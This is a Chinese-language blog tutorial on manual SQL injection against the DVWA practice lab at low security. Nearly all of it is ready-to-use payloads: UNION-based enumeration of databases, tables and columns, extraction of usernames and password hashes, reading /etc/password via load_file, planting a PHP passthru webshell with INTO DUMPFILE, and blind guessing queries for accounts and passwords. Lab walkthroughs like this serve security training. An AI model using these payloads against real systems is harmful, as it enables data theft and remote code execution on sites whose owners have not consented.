轻松 拿下 DVWA(low等级) 下 的 sql注入!!

手动挖掘sql漏洞

一。
    输入 1 与 输入 '1 and '1'='1   (1' and '1)一样,表示猜测语法如下正确的:
    select First_name and Surname from users where id='   1' and '1'='1   '
    select * from users where id='   1' and '1'='1   '

    select name from users where id=1

二。
    表列数,几个字段
    'order by 数字--空格          (--空格是注释的意思,后面就是注释内容)

    eg: 'order by 2--+

三。(可以使用BurpSuite 的 repeater重复执行,或者浏览器的 Hackbar插件(+ 号等同于空格))

    'union select 1,2--空格
    1' union select user(),2--空格  
       (数字可以替换为数据库系统默认函数,来获取信息。)
    ’union select user(),version()--空格
    ’union select 1,database()--空格
    ' union select 1,@@datadir--空格
        (全局函数) 
    ' union select 1,@@hostname--+
    ?id='+union+select+1,@@version_compile_os--+  
(用的浏览器的 Hackbar插件)
    CHAR(97) 返回对应的字符为 a(数字转ASCII码函数)可以用此函数绕过一些校验过滤不严,编成ASCII来执行成功。
    ' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--空格     (将多个函数拼接成一个执行char(32(对
应ASCII是空格),58(对应ASCII是冒号),32)的意思是打印出来的 user()与database() 与version()的分隔符是 空格:空格 )


四。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('b')--+
    &Submit=Submit#                  (对字符 b 进行 md5 校验计算哈希)
    
五。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id='+union+select  database(),substring_index(user(),"@",1)--+
    &Submit=Submit#                  (对user返回进行切割,只保留@前面的)

六。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select table_name,table_schema from information_schema.tables--+
    &Submit=Submit#  (从 原所有表中information_schema.tables 查mysql 所有的表名(table_name),数据库名(table_schema))

七。
    http://127.0.0.1/dvwa/vulnerabilities/sqli/
    ?id=' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
    &Submit=Submit#                   (只查 dvwa 库里的表名)
  
八。
    http://127.0.0.1/dvwa/vulnerabilities/sqli/
    ?id=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and    
table_name='users'--+

    &Submit=Submit#                   (查 dvwa 库 users表 的列)

九。
    http://127.0.0.1/dvwa/vulnerabilities/sqli/
    ?id=' union select user,password from dvwa.users--+
    &Submit=Submit#                   (从 dvwa 库 的 users表 查user列和password列的内容)



十。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select table_schema,count(*) from information_Schema.tables group by table_schema --+
    &Submit=Submit#         (按库(table_schema) 对表数量进行统计)


十一。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select user,password from users--+
    &Submit=Submit#                 (从当前表中查找 user,password内容)
   
十二。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select null,concat(user,0x3a,password) from users--+
    &Submit=Submit#               (0x3a是冒号 分隔符)

得到密文密码,对密码进行解码(用工具或者在线破解都行),完成!!

(Linux下; 可以用 BurpSuite 的 Repeater ,修改id 之类要修改的参数, 点击 GO 执行 后看 render或其他)              
十三。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select null,load_file('/etc/password')--+
    &Submit=Submit#                   (读取 /etc/password 下的内容)

(Linux下)               
十四。
    http://127.0.0.1/DVWA/vulnerabilities/sqli/
    ?id=' union select null, "<?php passthru($_GET['cmd']);?>"INTO DUMPFILE"/tmp/a.php"--空格
    &Submit=Submit#          (再结合文件包含漏洞执行文件, ?page=/tmp/a.php&cmd=id)

(Linux下)
十五。
    kali下 sudo 命令找(a.php)文件  sudo find / -name a.php
    ls -l 查文件权限
    sudo -i  到 root 权限
    cat a.php  查看文件内容
    ls -ld /tmp/    这个目录下所有用户都有增删改查权限
    cat /etc/password | grep mysql    查找与mysql账户先关的主目录
    ps aux | grep mysql           查找mysql账户相关的服务进程
    cat b.php | xxd -ps | tr -d '\n'   显示b.php 编码后的16进制内容。删除换行符(tr -d '\n')16进制小插件(xxd
)(16进制0x内容)


十六。
    无权读取 information_schema 库 和 拒绝 union , order by语句的情况:

    ' and user is null--空格            ( 猜解列名  user是列名,用burpsuite工具加载字典跑,返回正常即存在)
    ' and table.user is null--空格      ( 猜解表名(table),已破解user列存在的)
    ' and DB.table.user is null--空格   ( 猜解库名(DB),已破解user列存在的,table表存在)
    ' and (select count(*) from table)>0--+  ( 猜解库里的其他表)
    ' and users.user is null--+          ( 列表对应关系)
    ' or user='admin'                    ( 猜字段的内容)
    ' or user like '%a%                  ( 猜字段的内容)
    ' or user='admin' and password='92892r00ffg8gvb87hv33f34'  (猜账号对应的密码)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值